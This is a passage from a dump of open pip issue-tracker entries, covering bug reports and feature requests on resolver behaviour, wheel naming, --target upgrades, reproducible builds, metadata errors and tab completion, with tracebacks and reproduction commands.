https://github.com/pypa/pip/blob/25114e1f9ed4c5fa2b0407a26266080a5ff1cb2c/src/pip/_internal/commands/completion.py#L36-L44

Same function def is also present in Python 3.9.2 install.

### Expected behavior

Tab completion should work when env vars are present inline.

### How to Reproduce

1) Ensure pip completion is enabled (should be automatic, can also be forced).
2) Attempt tab completion with inline env var.

```
$ pip completion --fish | source
$ FOO=1 pip <tab>- (line 1): Unsupported use of '='. In fish, please use 'set FOO 1'.
in command substitution
	called on line 9 of file -
in function '__fish_complete_pip'
in command substitution
```

### Code of Conduct

- [X] I agree to follow the PSF Code of Conduct


user: pikeas
labels: type: bug: A confirmed bug or unintended behavior
help wanted: For requesting inputs from other members of the community
issue_9665: state: open
title: Option to cache git clones, LRU cache
body: I'm trying to work with the new docker buildkit --mount=type=cache capabilities, which works well with the current pip cache for normal pip installs, but I would like to also get this working with pip git installs from source. At the moment it clones into a new tmp build directory every time, though I imagine it could first check for a cached tarball with the matching commit (or just repo), uncompress to a tmp build directory, if the commit is not the same; pull and checkout to desired commit, caching a tarball of the new commit before continuing the build process.

The only considerations I can think of are maybe an issue with disk space and concurrent installs, as i'm not sure how pip deals with concurrency internally. The disk space issue would be solved by my second feature request for a some sort of LRU setting for the cache, though i'm not sure if the added complexity is worth the benefit as I personally have not yet come into issues with the size of my pip cache.

I don't mind trying to implement this myself and creating a pull request but i'm just wondering if there's something obvious I may be missing.

Thanks,
Luke
user: PartlyFluked
labels: C: vcs: pip's interaction with version control systems like git, svn and bzr
state: needs discussion: This needs some more discussion
issue_9664: state: open
title: No metadata except PKG-INFO is available
body: * pip version: 21.0.1
* Python version: 3.9.2
* Operating system:  Debian Linux 10 (buster) x86_64

I am facing this issue since yesterday

```ERROR: Error while checking for conflicts. Please file an issue on pip's issue tracker: https://github.com/pypa/pip/issues/new
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3021, in _dep_map
    return self.__dep_map
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2815, in __getattr__
    raise AttributeError(attr)
AttributeError: _DistInfoDistribution__dep_map

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3012, in _parsed_pkg_info
    return self._pkg_info
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2815, in __getattr__
    raise AttributeError(attr)
AttributeError: _pkg_info

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/commands/install.py", line 514, in _determine_conflicts
    return check_install_conflicts(to_install)
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/operations/check.py", line 105, in check_install_conflicts
    package_set, _ = create_package_set_from_installed()
  File "/usr/local/lib/python3.9/site-packages/pip/_internal/operations/check.py", line 47, in create_package_set_from_installed
    package_set[name] = PackageDetails(dist.version, dist.requires())
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2736, in requires
    dm = self._dep_map
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3023, in _dep_map
    self.__dep_map = self._compute_dependencies()
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3032, in _compute_dependencies
    for req in self._parsed_pkg_info.get_all('Requires-Dist') or []:
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3014, in _parsed_pkg_info
    metadata = self.get_metadata(self.PKG_INFO)
  File "/usr/local/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 1895, in get_metadata
    raise KeyError("No metadata except PKG-INFO is available")
KeyError: 'No metadata except PKG-INFO is available'
WARNING:root:ERROR - Not a valid string```

I am always up-to date but this error comes when I do `pip show <package>` or install any other.

user: buddhhu
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9663: state: open
title: 9657 update news entries documentation
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
This pull request contains an updated version of the documentation regarding ``.trivial.rst`` files disallowing no content.

This pull request closes #9657 
user: wanghaojiang1
issue_9657: state: open
title: Update documentation that news entries cannot be empty files
body: Currently, the documentation regarding news entries for trivial PRs mentions that contributors can create an empty news entry using for example the following command on Linux `touch news/$(uuidgen).trivial.rst`.

The check for a news entry in PRs however does not longer allow empty `.trivial` files. 

https://github.com/pypa/pip/blob/master/docs/html/development/contributing.rst needs to be updated according to this.
user: QuentinLee5
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9655: state: open
title: Should pip uninstall before updating dependencies?
body: **pip version**

21.0.1

**Python version**

3.9.0

**OS**

Linux

**Additional information**

_No response_

**Description**

When upgrading a wheel, pip seems to do...

- upgrades any dependencies (including installing new dependencies)
- uninstalls the old version
- installs the new version.

**Expected behavior**

I would expect it to do things in this order...

- uninstalls the old version
- upgrades any dependencies
- installs the new version

**How to Reproduce**

_No response_

**Output**

_No response_

**Code of Conduct**

- [X] I agree to follow the PSF Code of Conduct

I have a package P v1.0. I then decided to split this into two separate packages, P v1.1 and D v1.0 where D is a dependency of P v1.1 and contains some of the files that were in P v1.0. I'll refer to those files as F.

If I have P v1.0 installed and then run ``pip install --upgrade P`` the following happens:

- D v1.0 is installed which overwrites the F files from P v1.0
- P v1.0 is uninstalled which removes the F files
- P v1.1 is installed.

This leaves and installation without any F files. The fix is then to run ``pip install --force-reinstall D``.

If pip uninstalled P v1.0 before updating the dependencies then this wouldn't happen. 
user: philthompson10
labels: type: enhancement: Improvements to functionality
C: upgrade: The logic of upgrading packages
issue_9654: state: open
title: Forgetting to source a virtualenv is more of an issue since pip 20
body: **What's the problem this feature will solve?**

Since pip 20, doing a `--user` install when the main site-packages directory is not writeable and user site-packages are enabled is the default.

When working with `virtualenv`, this makes the common (for me) mistake of _forgetting_ to source the virtualenv much more of an issue. I had this happen a couple of times since upgrading. It took me quite some time to figure out the issue, and some time to clean up my system.
Before, when mistakenly running `pip install` outside the virtualenv, it would fail because of the required root privileges. Now it succeeds and modifies the user site-packages. I understand this is the expected behavior, since the user forgot to source.

**Describe the solution you'd like**

I agree with the rationale behind #1668. I am not too sure about the best solution here.
My own workflow almost never requires to use pip outside of a virtualenv, but I am unsure about how common this is.
I believe, for example, that this behavior would achieve consistency regarding the installation site:

```bash
pip install something              # virtualenv only
pip install --user something       # user site-packages
pip install --root-user something  # main site-packages
```
I understand this would be yet again a breaking change, so doing nothing might work too 😉 
Thanks for the great work on pip!





user: alexprengere
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9653: state: open
title: Improve exception raised on corrupted gzip response
body: **pip version**

21.0.1

**Python version**

3.8.8

**OS**

Windows 10 20H2

**Additional information**

_No response_

**Description**

I did "pip list" which works fine
But it cause error when I use "pip list -o"
But If I update some packages which work fine. like "pip install youtube-dl you-get -U",

> Looking in indexes: https://mirrors.aliyun.com/pypi/simple/
> Requirement already satisfied: youtube-dl in c:\program files\python3\lib\site-packages (2021.2.10)
> Collecting youtube-dl
>   Downloading https://mirrors.aliyun.com/pypi/packages/4e/fe/8d11d7a778633441efa68f1a0bd5fbfcd79e31cb0ef7f20acb8d5c4498db/youtube_dl-2021.2.22-py2.py3-none-any.whl (1.9 MB)
>      |████████████████████████████████| 1.9 MB ...
> Requirement already satisfied: you-get in c:\program files\python3\lib\site-packages (0.4.1500)
> Installing collected packages: youtube-dl
>   Attempting uninstall: youtube-dl
>     Found existing installation: youtube-dl 2021.2.10
>     Uninstalling youtube-dl-2021.2.10:
>       Successfully uninstalled youtube-dl-2021.2.10
> Successfully installed youtube-dl-2021.2.22



**Expected behavior**

List all packages that are outdated

**How to Reproduce**

1. install python 3.8.8 amd64 from https://www.python.org/downloads/release/python-388/
2. Then run 'pip list -o' in PowerShell 7.1.2.
3. An error occurs.


**Output**

> ERROR: Exception:
> Traceback (most recent call last):
>   File "c:\program files\python3\lib\site-packages\pip\_vendor\urllib3\response.py", line 401, in _decode
>     data = self._decoder.decompress(data)
>   File "c:\program files\python3\lib\site-packages\pip\_vendor\urllib3\response.py", line 88, in decompress
>     ret += self._obj.decompress(data)
> zlib.error: Error -3 while decompressing data: incorrect header check
> 
> During handling of the above exception, another exception occurred:
> 
> Traceback (most recent call last):
>   File "c:\program files\python3\lib\site-packages\pip\_vendor\requests\models.py", line 753, in generate
>     for chunk in self.raw.stream(chunk_size, decode_content=True):
>   File "c:\program files\python3\lib\site-packages\pip\_vendor\urllib3\response.py", line 576, in stream
>     data = self.read(amt=amt, decode_content=decode_content)
>   File "c:\program files\python3\lib\site-packages\pip\_vendor\urllib3\response.py", line 548, in read
>     data = self._decode(data, decode_content, flush_decoder)
>   File "c:\program files\python3\lib\site-packages\pip\_vendor\urllib3\response.py", line 404, in _decode
>     raise DecodeError(
> pip._vendor.urllib3.exceptions.DecodeError: ('Received response with content-encoding: gzip, but failed to decode it.', error('Error -3 while decompressing data: incorrect header check'))
> 
> During handling of the above exception, another exception occurred:
> 
> Traceback (most recent call last):
>   File "c:\program files\python3\lib\site-packages\pip\_internal\cli\base_command.py", line 189, in _main
>     status = self.run(options, args)
>   File "c:\program files\python3\lib\site-packages\pip\_internal\commands\list.py", line 169, in run
>     packages = self.get_outdated(packages, options)
>   File "c:\program files\python3\lib\site-packages\pip\_internal\commands\list.py", line 178, in get_outdated
>     return [
>   File "c:\program files\python3\lib\site-packages\pip\_internal\commands\list.py", line 178, in <listcomp>
>     return [
>   File "c:\program files\python3\lib\site-packages\pip\_internal\commands\list.py", line 231, in iter_packages_latest_infos
>     for dist in map_multithread(latest_info, packages):
>   File "c:\program files\python3\lib\multiprocessing\pool.py", line 868, in next
>     raise value
>   File "c:\program files\python3\lib\multiprocessing\pool.py", line 125, in worker
>     result = (True, func(*args, **kwds))
>   File "c:\program files\python3\lib\site-packages\pip\_internal\commands\list.py", line 208, in latest_info
>     all_candidates = finder.find_all_candidates(dist.key)
>   File "c:\program files\python3\lib\site-packages\pip\_internal\index\package_finder.py", line 815, in find_all_candidates
>     package_links = self.process_project_url(
>   File "c:\program files\python3\lib\site-packages\pip\_internal\index\package_finder.py", line 779, in process_project_url
>     html_page = self._link_collector.fetch_page(project_url)
>   File "c:\program files\python3\lib\site-packages\pip\_internal\index\collector.py", line 617, in fetch_page
>     return _get_html_page(location, session=self.session)
>   File "c:\program files\python3\lib\site-packages\pip\_internal\index\collector.py", line 429, in _get_html_page
>     resp = _get_html_response(url, session=session)
>   File "c:\program files\python3\lib\site-packages\pip\_internal\index\collector.py", line 126, in _get_html_response
>     resp = session.get(
>   File "c:\program files\python3\lib\site-packages\pip\_vendor\requests\sessions.py", line 555, in get
>     return self.request('GET', url, **kwargs)
>   File "c:\program files\python3\lib\site-packages\pip\_internal\network\session.py", line 424, in request
>     return super().request(method, url, *args, **kwargs)
>   File "c:\program files\python3\lib\site-packages\pip\_vendor\requests\sessions.py", line 542, in request
>     resp = self.send(prep, **send_kwargs)
>   File "c:\program files\python3\lib\site-packages\pip\_vendor\requests\sessions.py", line 697, in send
>     r.content
>   File "c:\program files\python3\lib\site-packages\pip\_vendor\requests\models.py", line 831, in content
>     self._content = b''.join(self.iter_content(CONTENT_CHUNK_SIZE)) or b''
>   File "c:\program files\python3\lib\site-packages\pip\_vendor\requests\models.py", line 758, in generate
>     raise ContentDecodingError(e)
> pip._vendor.requests.exceptions.ContentDecodingError: ('Received response with content-encoding: gzip, but failed to decode it.', error('Error -3 while decompressing data: incorrect header check'))
> 

**Code of Conduct**

- [X] I agree to follow the PSF Code of Conduct


user: fuchanghao
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
C: error messages: Improving error messages
issue_9646: state: open
title: Do not silently uninstall and install distinct versions of the same package
body: **What's the problem this feature will solve?**
I am working on a tool that needs to automatically scan specific directories for a requirements file and install the specified dependencies in it. The problem is that if the requirements file is outdated, e.g. specifies an older version for an already installed package, the newer version will either be uninstalled and replaced by the older version or just overwritten by the older version if `--ignore-installed` is used.

**Describe the solution you'd like**
I would like a solution where the whole process is aborted with an error message or at least the installation process for the affected packet is skipped, ideally with a single command. Otherwise this may break the python environment without a warning.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->
In my case I run the command to install dependencies via a requirements file via pythons `subprocess.Popen` class. Hence, for maximum automation, it would be ideal to be able to get the required behavior with a single command that either succeeds or fails.

**Alternative Solutions**
A solution that would probably satisfy the biggest part of the use-cases would be to explicitly ask the user whether they want to uninstall and reinstall the dependency with specified version.
It would also be nice to have the behaviour in both ways, i.e. neither silently replace newer nor older versions.

**Additional context**


user: elsamuray7
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9644: state: open
title: `--require-hashes` does not correctly handle pinned package with extras
body: **What did you want to do?**

Install this [requirements.txt](https://gist.github.com/tonybajan/6bcea3eb179381609206549991b69717#file-requirements-txt) file with pip 21.0.1 or master in a new virtual environment.

A package is pinned to a non-latest version with an extra (here, `requirements[security]`) and another dependency requires this package without specifying the extra.

**Output**

Install fails with:

```
...
Collecting requests[security]==2.24.0
  Using cached requests-2.24.0-py2.py3-none-any.whl (61 kB)
Collecting six==1.15.0
  Using cached six-1.15.0-py2.py3-none-any.whl (10 kB)
Collecting urllib3==1.25.11
  Using cached urllib3-1.25.11-py2.py3-none-any.whl (127 kB)
Collecting requests<3
ERROR: In --require-hashes mode, all requirements must have their versions pinned with ==. These do not:
    requests<3 from https://files.pythonhosted.org/packages/29/c1/24814557f1d22c56d50280771a17307e6bf87b70727d975fd6b2ce6b014a/requests-2.25.1-py2.py3-none-any.whl#sha256=c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e (from requests-extra==1.0.0b3->-r requirements.txt (line 116))
```

The resolver does not recognise that `requests[security]==2.24.0` fulfils `requests<3`, and tries to collect latest `requests`. This fails as it is has no pinned hash.


**Additional information**

Installation succeeds with `--use-deprecated=legacy-resolver`. 

If the requirements file has no hashes, installation succeeds with the new resolver: `Collecting requests<3` resolves to latest requests (2.25.1) in the install output, but the pinned version (2.24.0) is what ends up installed.

If all packages are already installed in the environment, `pip install` succeeds (with `Requirement already satisfied`) even with the new resolver.




user: tonybajan
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
issue_9631: state: open
title: Remove "legacy-resolver" option, part 1
body: ## This is a subset of #9695 

This is the first step on the road to fully remove the legacy resolver. The aims of this PR are _strictly_ as follows:
 - Prohibit usage of `--use-deprecated=legacy-resolver`
 - Make sure the tests don't fail.
 
Edit: thanks to #9739 the yaml tests issue has been eliminated.
 
user: MrMino
labels: needs rebase or merge: PR has conflicts with current master
issue_9628: state: open
title: pip 21 rejects wheels with local version labels
body: PR #9320 added some metadata validation of wheels built through pip. People using local version identifiers (e.g. `0.1+deadbeef`) reported bugs in Flit because it builds wheels which pip rejects based on the filename, like this:

```
Building wheels for collected packages: testpkg
  Building wheel for testpkg (PEP 517) ... done
  Created wheel for testpkg: filename=testpkg-0.6.1.dev5_ga652c20-py3-none-any.whl size=1181 sha256=cb8856b9035b1cf8021533a8ce7a07f02402c942603ce53e17a5ceea7e9cd787
  Stored in directory: /home/sturm/.cache/pip/wheels/34/c8/42/38155569da3179727ba8f011d468b6a0e6f789986ec22ae3d0
  WARNING: Built wheel for testpkg is invalid: Wheel has unexpected file name: expected '0.6.1.dev5+ga652c20', got '0.6.1.dev5-ga652c20'
Failed to build testpkg
```

I believe Flit is complying with the spec, specifically PEP 427's section on [escaping in the wheel filename](https://www.python.org/dev/peps/pep-0427/#escaping-and-unicode):

> Each component of the filename is escaped by replacing runs of non-alphanumeric characters with an underscore _:
> `re.sub("[^\w\d.]+", "_", distribution, re.UNICODE)`

I understand that to mean that a `0.1+deadbeef` version number should make a .whl filename containing `-0.1_deadbeef-`.Pip appears to reject that, and I believe it's pip that has this wrong. PyPUG [still says that](https://packaging.python.org/specifications/binary-distribution-format/) PEP 427 is the sole specification for the wheel format.

If the outcome is that the spec changes to match what pip does, that's fine, and I will fix Flit accordingly. But I don't want to assume that's the case and merge something that goes against the current spec.
user: takluyver
labels: PEP implementation: Involves some PEP
issue_9624: state: open
title: sudo pip install --upgrade pip
body: pip version: 19.0.1 (hangs when I try to upgrade)
Python version: 3.7.2
Operating system: Mac OS X 10.15.7

WARNING: The directory '/Users/john/Library/Caches/pip' or its parent directory is not owned or is not writable by the current user. The cache has been disabled. Check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Requirement already satisfied: pip in /Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages (21.1.dev0)
ERROR: Error while checking for conflicts. Please file an issue on pip's issue tracker: https://github.com/pypa/pip/issues/new
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2681, in version
    return self._version
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2815, in __getattr__
    raise AttributeError(attr)
AttributeError: _version

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_internal/commands/install.py", line 514, in _determine_conflicts
    return check_install_conflicts(to_install)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_internal/operations/check.py", line 105, in check_install_conflicts
    package_set, _ = create_package_set_from_installed()
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_internal/operations/check.py", line 47, in create_package_set_from_installed
    package_set[name] = PackageDetails(dist.version, dist.requires())
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2689, in version
    raise ValueError(msg, self)
ValueError: ("Missing 'Version:' header and/or METADATA file at path: /Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/-ip-19.0.1.dist-info/METADATA", Unknown [unknown version] (/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages))

If I try without sudo, it hangs trying to uninstall 19.0.1
Thanks
John

user: johnnypoll
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9623: state: open
title: sudo pip install PySide2
body: * pip version: 19.0.1 (hangs when I try to upgrade)
* Python version: 3.7.2
* Operating system: Mac OS X 10.15.7

ERROR: Error while checking for conflicts. Please file an issue on pip's issue tracker: https://github.com/pypa/pip/issues/new
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2681, in version
    return self._version
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2815, in __getattr__
    raise AttributeError(attr)
AttributeError: _version

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_internal/commands/install.py", line 514, in _determine_conflicts
    return check_install_conflicts(to_install)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_internal/operations/check.py", line 105, in check_install_conflicts
    package_set, _ = create_package_set_from_installed()
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_internal/operations/check.py", line 47, in create_package_set_from_installed
    package_set[name] = PackageDetails(dist.version, dist.requires())
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2689, in version
    raise ValueError(msg, self)
ValueError: ("Missing 'Version:' header and/or METADATA file at path: /Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/-ip-19.0.1.dist-info/METADATA", Unknown [unknown version] (/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages))

Thanks
John

user: johnnypoll
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9616: state: open
title: Unknown scheme key: include
body: **pip version**

21.0.1

**Python version**

3.9.1

**OS**

Fedora release 32 (Thirty Two)

**Additional information**

_No response_

**Description**

When a wheel has an `include` directory in its `.data` directory `pip install` produces an error:
```
ERROR: For req: bug==1.0.0. Unknown scheme key used in /home/user/test/bug-1.0.0-py2.py3-none-any.whl: include (for file 'bug-1.0.0.data/include/bug.h'). .data directory contents should be in subdirectories named with a valid scheme key (data, headers, platlib, purelib, scripts)
```

PEP 427 https://www.python.org/dev/peps/pep-0427/#file-contents (emphasis mine)
> {distribution}-{version}.data/ contains one subdirectory for each non-empty install scheme key not already covered, where the subdirectory name is an index into a dictionary of install paths (e.g. data, scripts, **include**, purelib, platlib).

**Expected behavior**

Either the PEP is wrong and should say `headers` instead of `include` or pip should accept `include` as valid

**How to Reproduce**

1. Install the attached file: `pip install bug-1.0.0-py2.py3-none-any.whl`
https://drive.google.com/file/d/1fYzqyV5cBBAp-ILBceEZyFPnE2bS3ug0/view?usp=sharing

**Output**

```console
$ pip install bug-1.0.0-py2.py3-none-any.whl 
Processing ./bug-1.0.0-py2.py3-none-any.whl
Installing collected packages: bug
ERROR: For req: bug==1.0.0. Unknown scheme key used in /home/user/test/bug-1.0.0-py2.py3-none-any.whl: include (for file 'bug-1.0.0.data/include/bug.h'). .data directory contents should be in subdirectories named with a valid scheme key (data, headers, platlib, purelib, scripts)
```


**Code of Conduct**

- [X] I agree to follow the PSF Code of Conduct


user: hexagonrecursion
labels: C: wheel: The wheel format and 'pip wheel' command
PEP implementation: Involves some PEP
issue_9613: state: open
title: Pip fails on different compatible ~= version specifiers
body: **pip version**

21.0.1

**Python version**

3.6.8

**OS**

Windows 10

**Additional information**

$ python -VV
Python 3.6.8 (tags/v3.6.8:3c6b436a57, Dec 24 2018, 00:16:47) [MSC v.1916 64 bit (AMD64)]

**Description**

When using multiple `~=` version specifiers that are compatible, pip fails with an error.

**Expected behavior**

pip should install one of the versions that satisfy both requirements.

**How to Reproduce**

1. Make sure you have the latest numpy
```console
$ pip freeze | grep numpy
numpy==1.19.5
```

2. Install two overlapping version ranges that would require a downgrade:
```
pip install numpy~=1.18 numpy~=1.18.0
```


**Output**

```console
$ pip install numpy~=1.18 numpy~=1.18.0
Looking in indexes: https://nexus-pypi-ci:****@nexus.devops.definiens.com/repository/pypi-all/simple
Requirement already satisfied: numpy~=1.18 in c:\users\kftf964\appdata\local\programs\python\python36\lib\site-packages (1.19.5)
ERROR: Exception:
Traceback (most recent call last):
  File "c:\users\kftf964\appdata\local\programs\python\python36\lib\site-packages\pip\_internal\cli\base_command.py", line 189, in _main
    status = self.run(options, args)
  File "c:\users\kftf964\appdata\local\programs\python\python36\lib\site-packages\pip\_internal\cli\req_command.py", line 178, in wrapper
    return func(self, options, args)
  File "c:\users\kftf964\appdata\local\programs\python\python36\lib\site-packages\pip\_internal\commands\install.py", line 317, in run
    reqs, check_supported_wheels=not options.target_dir
  File "c:\users\kftf964\appdata\local\programs\python\python36\lib\site-packages\pip\_internal\resolution\resolvelib\resolver.py", line 122, in resolve
    requirements, max_rounds=try_to_avoid_resolution_too_deep,
  File "c:\users\kftf964\appdata\local\programs\python\python36\lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 453, in resolve
    state = resolution.resolve(requirements, max_rounds=max_rounds)
  File "c:\users\kftf964\appdata\local\programs\python\python36\lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 347, in resolve
    failure_causes = self._attempt_to_pin_criterion(name, criterion)
  File "c:\users\kftf964\appdata\local\programs\python\python36\lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 221, in _attempt_to_pin_criterion
    raise InconsistentCandidate(candidate, criterion)
pip._vendor.resolvelib.resolvers.InconsistentCandidate: Provided candidate AlreadyInstalledCandidate(numpy 1.19.5 (c:\users\kftf964\appdata\local\programs\python\python36\lib\site-packages)) does not satisfy SpecifierRequirement('numpy~=1.18'), SpecifierRequirement('numpy~=1.18.0')
```


**Code of Conduct**

- [X] I agree to follow the PSF Code of Conduct

We found this problem in a pretty complex internal dependency tree. It's reproducible with a simple numpy install though.

I'd be very happy about a fix! For now, we work around this by explicitly stating version ranges, e.g. `>=4.1,<5`.
user: robertschweizer
labels: type: bug: A confirmed bug or unintended behavior
project: vendored dependency: Related to a vendored dependency
issue_9605: state: open
title: 'pip install --upgrade --target' does not uninstall existing installation
body: **pip version**

21.0.1

**Python version**

3.9

**OS**

macOS

**Additional information**

_No response_

**Description**

- pip can output "Successfully installed mypackage-1.0" even if it wasn't successfully installed
- pip can leave a .dist-info subdirectory lying around if the installation wasn't successful

**Expected behavior**

- don't log the message "Successfully installed mypackage-1.2.3" unless the installation was actually successful
- if the installation was not successful, rollback any metadata files/subdirectory which was written

**How to Reproduce**

Setup:

```
$ mkdir /tmp/example
$ python3 -m pip install six==1.14 --target=/tmp/example
Collecting six==1.14
  Using cached six-1.14.0-py2.py3-none-any.whl (10 kB)
Installing collected packages: six
Successfully installed six-1.14.0
$ ls /tmp/example
__pycache__          six-1.14.0.dist-info six.py

```
Reproducer:

```
$ python3 -m pip install six==1.15 --target=/tmp/example
Collecting six==1.15
  Using cached six-1.15.0-py2.py3-none-any.whl (10 kB)
Installing collected packages: six
Successfully installed six-1.15.0
WARNING: Target directory /tmp/example/__pycache__ already exists. Specify --upgrade to force replacement.
WARNING: Target directory /tmp/example/six.py already exists. Specify --upgrade to force replacement.
$ ls /tmp/example
__pycache__          six-1.14.0.dist-info six-1.15.0.dist-info six.py
$ grep __version__ /tmp/example/six.py
__version__ = "1.14.0"
```

**Output**

As you can see, it logged "Successfully installed six-1.15.0" but the code at the target is still the previous version.

Using `--upgrade`, as the warning message mentioned, does indeed replace files. However, it also leaves files from the old version around too (with `six.py` there is only one source file, though the old .dist-info subdir also remains). I would normally expect pip to fully remove the previous version before installing new version.

**Code of Conduct**

- [X] I agree to follow the PSF Code of Conduct


user: wimglenn
labels: type: bug: A confirmed bug or unintended behavior
C: target: pip install's --target option's behaviour handling
issue_9604: state: open
title: pip-21.0.1 is breaking reproducible wheels
body: **pip version**

21.0.1

**Python version**

3.7.3 and 3.9.1

**OS**

Debian Buster, Fedora 33

**Additional information**

_No response_

**Description**

We were using `--build` flag to build reproducible wheels. Even if we mention different TMP* options as mentioned in https://github.com/pypa/pip/issues/8333#issuecomment-778173230 , `pip` will create a temporary directory inside of the temp path, and that will be used to build. This is causing the reproducible build failures.

Here is the script https://github.com/freedomofpress/securedrop-debian-packaging/blob/main/scripts/build-sync-wheels#L99-L100 we are using for the reproducible builds.





**Expected behavior**

`pip` should create reproducible wheels.

**How to Reproduce**

## How to test?

- [ ] checkout https://github.com/freedomofpress/securedrop-debian-packaging or copy the shell script locally
- [ ] Build any platform specific wheel by pointing the script to a directory with a requirements file which contains hashes. Please add any environment variable to a fixed temporary directory, and then: `./scripts/build-sync-wheels -p /home/user/code/testproject` I will also attach the `requirements.txt` file I used in the issue.
- [ ] This is the raw pip command used `pip3 wheel --no-binary :all: --find-links /tmp/tmppqis0hcw --progress-bar pretty --wheel-dir /tmp/tmppqis0hcw --build /tmp/pip-wheel-build --requirement /home/kdas/code/ladkhorecrypto/requirements.txt` feel free to remove the `--build` if required.
- [ ] copy the wheel to a temporary directory, in my example I copied to `./part1`.
- [ ] build the wheels again
- [ ] verify the sha256sums or run Debian's `diffoscope` tool

**Output**

```console
✦ ❯ sha256sum localwheels/cryptography-3.4.4-cp39-cp39-linux_x86_64.whl part1/cryptography-3.4.4-cp39-cp39-linux_x86_64.whl 
b882d10b1c36118b18a49fa6c95cdff7d19184ba9cce077bd1bcf5d4e5d779d1  localwheels/cryptography-3.4.4-cp39-cp39-linux_x86_64.whl
6413ad572666600657a7630c3e3d1cf24bf9ad6f73590d518c257ce47520029c  part1/cryptography-3.4.4-cp39-cp39-linux_x86_64.whl

```


**Code of Conduct**

- [X] I agree to follow the PSF Code of Conduct


user: kushaldas
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_9580: state: open
title: Dropping python2 silently broke several tests
body: I have found a couple tests that seem to be counting on python 2 to test the behavior they are designed to test even though the behaviour is not python2-specific. This is not pythin2 compatibility code but rather tests relying on python2 eg to test that markers work. Dropping python2 silently broke the tests - they no longer test what they were designed to test. 
https://github.com/pypa/pip/blob/bbf8466088655d22cd46b286c8f0b8150754c1d9/tests/data/src/pep518_with_extra_and_markers-1.0/setup.py#L10
https://github.com/pypa/pip/blob/bbf8466088655d22cd46b286c8f0b8150754c1d9/tests/unit/test_finder.py#L363-L367
https://github.com/pypa/pip/blob/bbf8466088655d22cd46b286c8f0b8150754c1d9/tests/unit/test_req.py#L142-L145
user: hexagonrecursion
labels: C: tests: Testing and related things
issue_9576: state: open
title: strict vs. loose transient dependency backtracking
body: Hi,

**What did you want to do?**

The situation presents itself as follows: We've got a stub package here, which specifies a pinned dependency, people are supposed to use in specific environments. The stub package is called `st-boto3-lambda` and it comes with a setup.py, which simply defines something like the following as install requirements: 

```
    boto3 == 1.16.31
    botocore == 1.19.31
```

general procedure is to depend on the package (without version, a.k.a latest) if you are building something in that environment.

This works fine until you depend on other libraries (call it `st-foo`), which also have dependencies to boto3, but more loosely defined, for example:

```
    boto3 >= 1.4.0, < 2.0.0
```

So when you run `pip install st-boto3-lambda st-foo` now, the backtracker starts working (especially the older versions of the stub package st-boto3-lambda) and takes forever.

Now it gets interesting:
